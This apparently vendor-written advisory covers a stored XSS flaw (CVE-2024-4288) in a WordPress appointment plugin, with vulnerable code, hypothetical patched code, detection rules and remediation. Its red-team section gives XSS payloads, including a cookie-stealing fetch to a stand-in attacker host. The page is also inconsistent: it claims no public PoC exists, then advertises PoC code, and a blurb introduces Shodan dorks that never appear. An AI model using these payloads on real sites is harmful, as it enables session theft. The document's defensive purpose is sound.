CVE-2024-4288
Executive Summary
CVE-2024-4288 is a Stored Cross-Site Scripting (XSS) vulnerability in the Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress. The flaw exists in versions up to and including 1.6.7.14 due to insufficient input sanitization and output escaping on the ‘link’ parameter. An authenticated attacker with contributor-level permissions or higher can inject arbitrary web scripts that execute whenever a victim user accesses the compromised page. This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server software (Apache/Nginx). The CVSS score is 6.4 (Medium), and no public exploit code or proof-of-concept is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): Required (R) – Victim must visit the injected page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS can lead to persistent compromise of admin sessions or data theft.
Deep Dive & Mechanics
The vulnerability resides in the link parameter of the Appointment Booking Calendar plugin. When a contributor or higher-privileged user creates or edits an appointment, the plugin fails to properly sanitize the link input before storing it in the database. Additionally, when the stored data is rendered on a page (e.g., in appointment details or calendar views), the plugin does not escape the output, allowing arbitrary HTML and JavaScript to execute in the context of the victim’s browser.
Attack Flow:
- An authenticated attacker with contributor-level access navigates to the appointment creation/edit page.
- The attacker injects a malicious payload into the
linkfield, e.g.,javascript:alert(document.cookie)or<img src=x onerror=alert(1)>. - The plugin stores the unsanitized payload in the WordPress database.
- When an administrator or other user views the page containing the appointment (e.g., the calendar or appointment list), the payload executes.
- The attacker can steal cookies, perform actions on behalf of the victim, or deface the site.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.6.7.14):
// In a function that saves appointment data
$link = $_POST['link'];
update_post_meta($post_id, 'ssa_appointment_link', $link);
// In a function that displays the appointment
echo get_post_meta($post_id, 'ssa_appointment_link', true);
Patched Code (Hypothetical):
// Sanitize input
$link = sanitize_text_field($_POST['link']);
update_post_meta($post_id, 'ssa_appointment_link', $link);
// Escape output
echo esc_url(get_post_meta($post_id, 'ssa_appointment_link', true));
The patched version uses sanitize_text_field() to strip malicious content on input and esc_url() to safely render the link on output.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Simply Schedule Appointments plugin <= 1.6.7.14.
- Contributor-level account credentials.
Exploitation Steps:
- Log in as a contributor.
- Navigate to the appointment creation page (e.g.,
/wp-admin/admin.php?page=ssa-appointments). - In the
linkfield, inject a payload such as:
or a more sophisticated payload to steal cookies:<script>alert('XSS')</script><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Save the appointment.
- Wait for an administrator to view the appointment list or calendar page. The payload executes in their browser.
Note: No public exploit code is available; the above is a manual exploitation guide.
Blue Team
Detection & Prevention:
- Monitor for unusual
linkparameter values in POST requests to appointment endpoints. - Implement Web Application Firewall (WAF) rules to block common XSS patterns.
- Restrict contributor-level access to trusted users only.
- Regularly update the plugin to the latest version.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-ajax.phpor appointment endpoints containing suspiciouslinkparameters (e.g.,<script>,onerror,javascript:). - Host: Database entries in
wp_postmetawheremeta_keyisssa_appointment_linkandmeta_valuecontains HTML/JavaScript. - Logs: WordPress debug logs showing unexpected output in appointment views.
Detection Engineering
YARA Rule
rule CVE_2024_4288_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Simply Schedule Appointments link field"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-4288"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=/i
$payload3 = /javascript\s*:/i
$meta_key = "ssa_appointment_link"
condition:
$meta_key and ($payload1 or $payload2 or $payload3)
}
Sigma Rule
title: CVE-2024-4288 Stored XSS in Simply Schedule Appointments
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via the link parameter in Simply Schedule Appointments plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url|contains: 'ssa-appointments'
http.body|contains: 'link='
keywords:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in link fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4288 Stored XSS Attempt - Simply Schedule Appointments"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"link="; http_client_body; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the plugin if not essential, or restrict contributor-level access.
- Short-term: Apply input sanitization (
sanitize_text_field()) and output escaping (esc_url()) to thelinkparameter. - Long-term: Update to the latest patched version once released by the vendor.
- Compensating Controls: Deploy a WAF with XSS rules, enforce Content Security Policy (CSP) headers, and conduct regular security audits.
Valters IT – Securing digital frontiers with precision and expertise.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.